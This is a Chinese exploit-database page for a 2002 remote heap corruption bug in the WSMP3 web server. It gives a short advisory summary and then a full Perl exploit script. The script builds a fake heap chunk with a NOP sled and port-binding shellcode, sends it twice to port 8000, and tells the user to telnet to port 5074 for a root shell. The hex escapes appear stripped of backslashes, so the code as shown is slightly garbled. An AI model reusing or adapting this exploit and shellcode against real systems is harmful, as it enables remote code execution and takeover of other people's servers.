WSMP3 0.0.1/0.0.2 – Remote Heap Corruption (1)
漏洞ID | 1053647 | 漏洞类型 | |
发布时间 | 2002-11-25 | 更新时间 | 2002-11-25 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Linux | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/6240/info
A remotely exploitable heap corruption vulnerability has been reported for WSMP3.
Due to insufficient bounds checking of user-supplied input, it is possible for a remote attacker to corrupt heap memory. By corrupting allocated memory headers, it is possible to redirect program flow when the free() function is called.
Successful exploitation of this issue may result in remote execution of arbitrary code with root privileges.
#!/usr/bin/perl -w
#
#
# Remote Heap malloc/free & multiple Overflow vulnerability in WSMP3.
# Bug found by; dong-h0un U
# Exploit Coded By; Damian Myerscough
#
# visit: www.securityfreaks.com
# visit: http://x82.i21c.net
#
# 0x02. Vulnerable Packages
# =-=-=-=-=-=-=-=-=-=-=-=-=
#
# Vendor site: http://wsmp3.sourceforge.net/
#
# web_server-0.0.6
# -web_server-0.0.6.tar.gz
# +RedHat Linux 6.x
# web_server-0.0.5 (exploitable)
# -web_server-0.0.5.tar.gz
# web_server-0.0.4
# -web_server-0.0.4.tar.gz
# web_server-0.0.3
# -web_server-0.0.3.tar.gz.gz
# wsmp3-0.0.2
# -web_server-0.0.2.tar.gz
# web_server-v.0.0.1
# -web_server.tar.gz
#
# Tested On Redhat 6.1 (cartman)
#
#
use IO::Socket;
$Shellcode = "x41x41x41x41". # offset
"x41x41x41x41". # offset
"x41x41x41x41". # offset
"x41x41x41x41". # offset 16 bytes
"xfcxffxffxff". # chunk header
"xffxffxffxff". # ""
"xa0x1bx05x08". # 0x08051bac-12
"xd0x7bxffxbf". # 0xbfff7bd0
"x20". # ' '
"x90x90x90x90x90x90x90x90". # nop
"xebx0cxebx0cxebx0cxebx0c". # nop 12 bytes jumpcode
"x90x90x90x90x90x90x90x90". # nop
"x90x90x90x90x90x90x90x90". # nop
#Shellcode Binds a port on 5074 This shellcode is 92 bytes
"x31xc0".
"x50".
"x40".
"x89xc3".
"x50".
"x40".
"x50".
"x89xe1".
"xb0x66".
"xcdx80".
"x31xd2".
"x52".
"x66x68x13xd2".
"x43".
"x66x53".
"x89xe1".
"x6ax10".
"x51".
"x50".
"x89xe1".
"xb0x66".
"xcdx80".
"x40".
"x89x44x24x04".
"x43".
"x43".
"xb0x66".
"xcdx80".
"x83xc4x0c".
"x52".
"x52".
"x43".
"xb0x66".
"xcdx80".
"x93".
"x89xd1".
"xb0x3f".
"xcdx80".
"x41".
"x80xf9x03".
"x75xf6".
"x52".
"x68x6ex2fx73x68".
"x68x2fx2fx62x69".
"x89xe3".
"x52".
"x53".
"x89xe1".
"xb0x0b".
"xcdx80";
print"+==========================================+n";
print" Remote Heap malloc/free WSMP3 n";
print" Coded By; Damian Myerscough n";
print" Bug found By; dong-h0un U n";
print" Offset done By; dong-h0un U n";
print"+==========================================+nn";
print"Enter a Host: ";
$Host = <STDIN>;
chop($Host);
# First connect.
$Socket = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$Host,
PeerPort =>8000) || die "Could not connect
to $Host n";
print"Sending Fake Chunk.n";
print $Socket "$Shellcode";
close($Socket);
# Second connect.
$Socket = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$Host,
PeerPort =>8000) || die "Could not connect
to $Host n";
print"Sending Shellcode.n";
print $Socket "$Shellcode";
close($Socket);
print"Binded port.n";
print"Telnet to $Host at port 5074n";
相关推荐: Oracle RDBMS Server Default Account Vulnerability
Oracle RDBMS Server Default Account Vulnerability 漏洞ID 1102629 漏洞类型 Design Error 发布时间 2002-01-17 更新时间 2002-01-17 CVE编号 N/A CNNVD-I…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666